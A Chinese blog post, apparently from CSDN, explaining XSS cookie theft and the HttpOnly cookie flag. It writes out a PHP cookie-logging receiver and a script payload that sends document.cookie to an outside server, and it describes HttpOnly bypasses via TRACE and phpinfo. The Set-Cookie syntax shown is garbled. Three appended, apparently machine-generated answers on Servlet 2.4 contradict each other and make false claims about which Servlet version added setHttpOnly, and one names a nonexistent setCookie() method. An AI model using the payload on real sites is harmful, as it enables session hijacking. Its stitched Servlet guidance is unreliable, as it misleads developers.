HTTP-only cookie

在介绍HttpOnly之前,我想跟大家聊聊Cookie及XSS。

随着B/S的普及,我们平时上网都是依赖于http协议完成,而Http是无状态的,即同一个会话的连续两个请求互相不了解,他们由最新实例化的环境进行解析,除了应用本身可能已经存储在全局对象中的所有信息外,该环境不保存与会话有关的任何信息,http是不会为了下一次连接而维护这次连接所传输的信息的。所以为了在每次会话之间传递信息,就需要用到cookie和session,无论是什么,都是为了让服务器端获得一个token来检查合法性,很多时候都是在cookie中存储一个sessionID,服务器来识别该用户,那么安全隐患也就引申而出了,只要获得这个cookie,就可以取得别人的身份,特别是管理员等高级权限帐号时,危害就大了,而XSS就是在别人的应用程序中恶意执行一段JS以窃取用户的cookie。

那么如何获得Cookie劫持呢?在浏览器中的document对象中,就储存了Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有别人的身份了。下面简单说说如何窃取cookie。

接收cookie的PHP文件ck.php为:

<?php 
$cookie = $_GET['c']; 
$ip = getenv ('REMOTE_ADDR'); 
$time=date("j F, Y, g:i a"); 
$referer=getenv ('HTTP_REFERER'); 
$fp = fopen('cookie.txt', 'a'); 
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>'); 
fclose($fp); 
?>

把这个文件放在自己的服务器上,比如我们搭建的服务器为:http://10.65.21.78:8080 .

那么构造XSS语句:

<script>window.open('http://10.65.21.78:8080/ck.php?c='+document.cookie)</script>

当执行script成功时就会把cookie发送到自己的服务器下cookie.txt文件中。XSS攻击是多么可怕的事情。

说了这么多,貌似还没有提到HttpOnly,这是哪般?莫及!这就到了!如何保障我们的Cookie安全呢?Cookie都是通过document对象获取的,我们如果能让cookie在浏览器中不可见就可以了,那HttpOnly就是在设置cookie时接受这样一个参数,一旦被设置,在浏览器的document对象中就看不到cookie了。而浏览器在浏览网页的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括Ajax的时候),应用程序也一般不会在JS里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用JS操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。

给浏览器设置Cookie的头如下:

Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]

如果 Cookie 具有 HttpOnly 特性且不能通过客户端脚本访问,则为 true;否则为 false。默认值为 false。

但是,也可以看到HttpOnly并不是万能的,首先它并不能解决XSS的问题,仍然不能抵制一些有耐心的黑客的攻击,甚至一些基于XSS的proxy也出现了,但是已经可以提高攻击的门槛了,起码XSS攻击不是每个脚本小子都能完成的了,而且其他的那些攻击手法因为一些环境和技术的限制,并不像Cookie窃取这种手法一样通用。

HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击,这种手法也已经在Ajax和flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo,大家知道phpinfo会将浏览器发送的http头回显出来,其中就包括我们保护的auth信息,而这个页面经常存在在各种站点上,只要用ajax取phpinfo页面,取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露,这种攻击方式对于基本验证保护的页面一样可以攻击。

HttpOnly在IE 6以上,Firefox较新版本都得到了比较好的支持,并且在如Hotmail等应用程序里都有广泛的使用,并且已经是取得了比较好的安全效果。

那问题就来了,大家想想,HttpOnly 主要是为了限制web页面程序的browser端script程序读取cookie, 实际是浏览器通过协议实现限制的,黑客可不会那么傻,肯定不会用HTTP协议来读取cookie,肯定是在socket层面写抓包程序,相当于写一个低于IE6版本的应用程序。

所以,HttpOnly并不是万能的。

### 回答1: 在Java Servlet 2.4中,我们可以通过设置CookiehttpOnly属性来实现http-only。http-only属性是一个布尔值,用于指示是否限制Cookie只能通过HTTP协议访问,而不能被JavaScript等客户端脚本访问。 要使用http-only属性,我们需要通过HttpServletResponse对象来设置Cookie,在设置Cookie之前,需要先创建一个Cookie对象。然后,我们可以通过setHttpOnly(boolean httpOnly)方法将httpOnly属性设置为true,表示限制Cookie只能通过HTTP访问。 下面是一个示例代码: ```java protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Cookie cookie = new Cookie("myCookie", "cookieValue"); cookie.setHttpOnly(true); response.addCookie(cookie); } ``` 在上面的示例中,我们创建了一个名为"myCookie"、值为"cookieValue"的Cookie对象,并将httpOnly属性设置为true。然后,我们使用response对象的addCookie()方法将Cookie添加到响应中,从而在浏览器中设置了带有http-only属性的Cookie。 通过这样的设置,浏览器将会限制JavaScript等客户端脚本通过Document.cookie属性访问该Cookie,增强了安全性。但需要注意的是,http-only属性在一些老版本的浏览器中可能不被支持,因此实际应用中需要根据具体情况进行兼容处理。 ### 回答2: HttpOnly是一种Cookie属性,用于在浏览器端禁止JavaScript脚本访问Cookie的值,以提高Cookie的安全性。然而,HttpOnly属性是在Servlet规范的2.5版本中引入的,因此在Servlet 2.4中无法直接使用。 要在Servlet 2.4中实现HttpOnly属性,可以通过编程方式添加一个Set-Cookie标头,并使用适当的语法将HttpOnly属性添加到标头中。具体来说,可以在ServletResponse对象中使用addHeader方法来添加Set-Cookie标头,并在标头值中包含HttpOnly属性。 以下是一个示例代码片段: ```java String cookieValue = "your_cookie_value"; String cookieName = "your_cookie_name"; String httpOnlyFlag = "; HttpOnly"; // 添加HttpOnly属性 String cookieString = cookieName + "=" + cookieValue + httpOnlyFlag; response.addHeader("Set-Cookie", cookieString); ``` 在上述示例中,我们创建了一个名为"your_cookie_name"的Cookie,并将其值设置为"your_cookie_value"。然后,我们通过将"; HttpOnly"添加到标头值来为该Cookie启用HttpOnly属性。最后,我们使用ServletResponse对象的addHeader方法将Set-Cookie标头添加到HTTP响应中。 请注意,由于Servlet规范的限制,这种方法仅适用于添加一个Cookie,并且不支持设置Cookie的其他属性,如Path、Domain、Max-Age等。如果需要更复杂的Cookie设置,请考虑升级至Servlet 2.5或更高版本。 ### 回答3: 在Servlet规范中,HTTP Cookie提供了一个属性叫做"HttpOnly",可以通过设置该属性来增加cookie的安全性。当"HttpOnly"属性被设置为true时,表示该cookie无法被客户端JavaScript脚本访问,只能被发送给服务端。 要使用HttpOnly属性,可以通过以下步骤: 1. 在创建Cookie对象之后,使用`setHttpOnly(true)`方法将HttpOnly属性设置为true。如下所示: `Cookie cookie = new Cookie("name", "value");` `cookie.setHttpOnly(true);` 2. 在使用`HttpServletResponse`对象发送Cookie时,调用`addCookie()`或`setCookie()`方法将Cookie对象添加到响应中。 注意事项: - HttpOnly属性要求至少使用Servlet规范2.5版本,因此确保使用的Servlet版本符合或超过2.5。 - 某些浏览器可能不支持HttpOnly属性,但大多数主流浏览器都支持该属性,因此在实际使用中,可以提高网站的安全性。 通过上述步骤,我们可以将HttpOnly属性添加到Servlet中使用的Cookie中,从而增加了Cookie的安全性,防止恶意脚本通过客户端修改Cookie,提升了Web应用的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值